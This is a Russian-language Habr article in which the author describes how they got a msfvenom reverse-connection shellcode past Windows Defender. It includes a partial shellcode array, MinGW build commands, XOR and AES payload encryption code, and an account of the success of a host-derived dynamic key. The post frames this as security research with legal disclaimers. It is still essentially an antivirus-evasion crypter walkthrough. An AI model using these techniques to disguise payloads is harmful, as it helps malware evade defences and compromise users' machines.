Сила шифрования или как я выявил недостаток работы Defender’а

—

от автора

Внимание! Статья несёт исключительно информативный характер. Подобные действия преследуются по закону!

В наше время цифровая безопасность все более актуальна, поскольку важность защиты конфиденциальной информации и данных не может быть переоценена. Шифрование информации становится все более неотъемлемой частью нашей цифровой жизни, обеспечивая надежную защиту от несанкционированного доступа.

К сожалению, шифрование часто используется не только в хороших, но и плохих целях.

В данной статье рассмотрим, как технологии шифрования помогают в защите конфиденциальности и целостности данных, а также как современные средства безопасности могут оказаться недостаточными для полноценный защиты.

Мы проанализируем случай, когда использование шифрования стало ключевым элементом в обнаружении недостатка в работе средств защиты, и поймем почему так происходит.

Примечание

В качестве примера, создал нагрузку, которая вызовет диалоговое окно с подтверждением активации обратного соединения, а также его прекращения.

Ниже представлен пример инициализации нагрузки посредством его внедрения в исполняемый код на языке С++.

  unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"                               "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"                               .....................укороченная.версия...................                                               "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x7c"                               "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; 

Основная часть

Генерация нагрузки

В качестве инструмента для тестирования на проникновение, использовал msfvenom.

Внимание! Использование данного программного обеспечения возможно только с санкции пользователя и ни в каких других случаях невозможно!

Нагрузку я выбрал самую тривиальную. Ее использование детектится.

Упаковка

Для корректной упаковки, я использовал x86_64-w64-mingw32-g++

Установить его можно с помощью следующей команды:

apt install x86_64-w64-mingw32-g++

Тестовая сборка:

x86_64-w64-mingw32-g++ -o test.exe test.cpp

Запустил и обнаружил следующее:

Как видно, ошибка связана отсутствием libstdc++-6.dll. Починить это можно путем прямой установки нужных компонент. Но можно собрать файл заново, используя «статическую линковку» (внедрение необходимых зависимостей в файл). Безусловно, при таком подходе вес файла станет больше, но, зато будет всё работать.

Для этого, к прошлой команде добавил флаг -static

x86_64-w64-mingw32-g++ -static -o test.exe test.cpp

Запустил файл:

Выявление недостатка работы АВ

В работоспособности исполняемого файла убедился. А теперь попробовал запустить файл с активированной защитой на хосте.

Поскольку я использовал стандартную нагрузку без шифрования, Defender с легкостью обнаружил ВПО.

Шифрование нагрузки

XOR

Стандарт кодирования- это XOR (исключающее или).

Реализация в коде:

void encryptdecrypt(unsigned char* shellcode, size_t size, unsigned char key) { for (size_t i = 0; i < size; i++) { shellcode[i] ^= key; } }
unsigned char originalShellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,...,0x89,0xda,0xff,0xd5 }; size_t shellcodeSize = sizeof(originalShellcode); unsigned char key = 0x16; // Ключ для XOR-шифрования encryptdecrypt(originalShellcode, shellcodeSize, key);// Шифрование нагрузки ... // Расшифрование нагрузки перед выполнением encryptdecrypt(static_cast<unsigned char>(execMemory), shellcodeSize, key);

Здесь видно, что XOR не справился со своей задачей.

Далее, я подумал, что можно усложнить ключ, сделав его последовательностью байт:

void encryptdecrypt(unsigned char shellcode, size_t size, unsigned char key, size_t keysize) { for (size_t i = 0; i < size; i++) { shellcode[i] ^= key[i % keysize]; } }
unsigned char originalShellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,...,0x89,0xda,0xff,0xd5 }; size_t shellcodeSize = sizeof(originalShellcode); unsigned char key[] = { 0x3A, 0xC7, 0x9F, 0x2D, 0x54 }; size_t keysize = sizeof(key); encryptdecrypt(originalShellcode, shellcodeSize, key, keysize); ... encryptdecrypt(static_cast<unsigned char>(execMemory), shellcodeSize, key, keysize);

Это также не сработало

Вариант с XOR можно пока что отложить. Вероятно, нужно более сложное шифрование. Попробовал AES128

AES

Использовал реализацию от Сергея Бела: https://github.com/SergeyBel/AES/blob/master/README.md

Результаты работы библиотеки:

Также для массива в другом виде:

Как видно, для второго варианта расшифрование выполняется некорректно.

Что я понял при знакомстве с AES и библиотек в частности:

  1. Ключ должен быть кратен 16 байтам;

  2. Размер массива должен быть также кратен 16 байтам;

  3. Размер ключа при расшифровании должен быть использован тот же, что и при шифровании;

  4. Для корректной работы, рекомендуется использовать вариант нагрузки в виде строки, поскольку может возникнуть ошибка по длине/некорректное расшифрование (см. пример выше);

  5. Если не хватает длины до кратности, можно дополнить нагрузку с помощью "\x00";

  6. Для подключения библиотеки достаточно просто заинклудить хэдер и добавить в проект .cpp;

  7. При нагрузке в виде строки, необходимо учитывать важную вещь: к размерности массива автоматически прибавляется 1;

Пример дополнения:

Для видимости дебага, переписал throw в исходниках на cout

Буду дополнять слово «hello»:

Имею ошибки по длине. Дополню 9 байт:

Внедряем библиотеку в код

Сначала я дополнил нагрузку до нужной длины (512 байт), зашифровал, а потом расшифровал ее и опять словил детект.

Тогда ко мне в голову пришла идея использовать в качестве массива заранее зашифрованное сообщение.

Шифрование и расшифрование будет происходить с одним и тем же ключом.

Итак, благодаря функции aes.printHexArray();, я смог вывести зашифрованный массив байт. Теперь приведу его к виду строки.

Прошу обратить внимание, что расшифровка прошла успешно, но это не принесло никаких результатов.

Тогда я подумал, что, возможно, стоит использовать XOR поверх AES. Также мне хотелось избежать хранения «сырой» нагрузки в коде, поэтому, для удобства, я написал следующий скрипт:

#include <iostream> #include "windows.h" #include "AES.h" #include <iomanip> void encryptdecrypt(unsigned char shellcode, unsigned int size, unsigned char key, size_t keysize) { for (size_t i = 0; i < size; i++) { shellcode[i] ^= key[i % keysize]; } } int main() { AES aes(AESKeyLength::AES_128); unsigned char shellcode[] = { 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x6d, 0x79, 0x20, 0x66, 0x72, 0x69, 0x65, 0x6e, 0x64, 0x00 }; unsigned int shellcodesize = sizeof(shellcode); std::cout << "Shellcode len: " << shellcode; std::cout << shellcodesize << std::endl; unsigned char aeskey[] = { 0x23, 0x45, 0x67, 0x89,0xAB, 0xCD, 0xEF, 0x10,0x32, 0x54, 0x76, 0x98,0xBA, 0xDC, 0xFE, 0x00 }; unsigned char xorkey[] = { 0x3A, 0xC7, 0x9F, 0x2D, 0x54 }; unsigned char aesshellcode = aes.EncryptECB(shellcode, shellcodesize, aeskey); std::cout << "AES ENCRYPT: "; aes.printHexArray(aesshellcode, shellcodesize); size_t keysize = sizeof(xorkey); std::cout << "\n\n"; encryptdecrypt(aesshellcode, shellcodesize, xorkey, keysize); std::cout << "AES + XOR ENCRYPT: "; for (int i = 0; i < shellcodesize; i++) { std::cout <<  std::hex << std::setfill('0') << std::setw(2) << static_cast<int>(aesshellcode[i]); if (i < shellcodesize - 1) { std::cout << ", "; } } std::cout << "\n\n"; std::cout << "XOR DECRYPT: "; encryptdecrypt(aesshellcode, shellcodesize, xorkey, keysize); for (int i = 0; i < shellcodesize; i++) { std::cout <<  std::hex << std::setfill('0') << std::setw(2) << static_cast<int>(aesshellcode[i]); if (i < shellcodesize - 1) { std::cout << ", "; } } unsigned char decaesshelcode = aes.DecryptECB(aesshellcode, shellcodesize, aeskey); std::cout << "\n\n"; std::cout << "XOR + AES DECRYPT: "; aes.printHexArray(decaesshelcode, shellcodesize); }

Результат работы скрипта:

Смысл скрипта такой:

Plain -> AES -> XOR -> deXOR -> deAES -> Plain

По сути, мне необходимы следующие вещи из этого кода: ключи и AES+XOR массив байт. Строки дальше существуют чисто для проверки корректности работы шифрования/расшифрования.

Проверка такого способа вновь завершилась неудачей. Я подумал, что наверняка есть какой-то способ проверить в чем именно проблема. Оказалось, что даже если я зашифрую нагрузку хоть 100 раз и 100 раз в коде будут лежать ключи в открытом виде, АВ средство с легкостью обнаружит ВПО, что достаточно круто и похвально.

Финальный этап

Я понял, что нужно избавиться от статики в пользу динамики, тем самым обезличив ключи и сделав их генерацию псевдослучайной.

Для этого использовал библиотеку windows.h , которая позволяет работать с WinAPI

И сама генерация ключа:

Очевидно, что, для данного случая, необходимо заведомо знать имя хоста, но для моего исследования это некритично, поскольку работаю на локальных машинах.

В качестве эксперимента, моя схема состояла в следующем:

Как можно заметить, я не отказался от статических ключей. Идея состояла в проверке необходимости и достаточности хотя бы одного динамического ключа.

Видно, что в процессе выполнения кода, нагрузка сначала будет расшифрована с помощью динамического ключа. Затем, получится так, что останется нагрузка только со статическим ключом, которая, по идее, не должна отработать (примеры выше).

Но, на мое удивление, это сработало!

Вывод

В конечном итоге, исследование выявило серьезный недостаток в работе АВ средства Windows Defender, связанное с некачественным анализом приложений, использующих динамические ключи для шифрования участков кода. Это поднимает важные вопросы о безопасности информации и подчеркивает необходимость улучшения средств защиты. Несмотря на то, что данный способ уже не работает (статья писалась 3 месяца), подобные уязвимости могут иметь далеко идущие последствия. Напоследок, еще раз хочется подчеркнуть, что повторение данных действий приводит к нарушению законодательства.


ссылка на оригинал статьи https://habr.com/ru/articles/811191/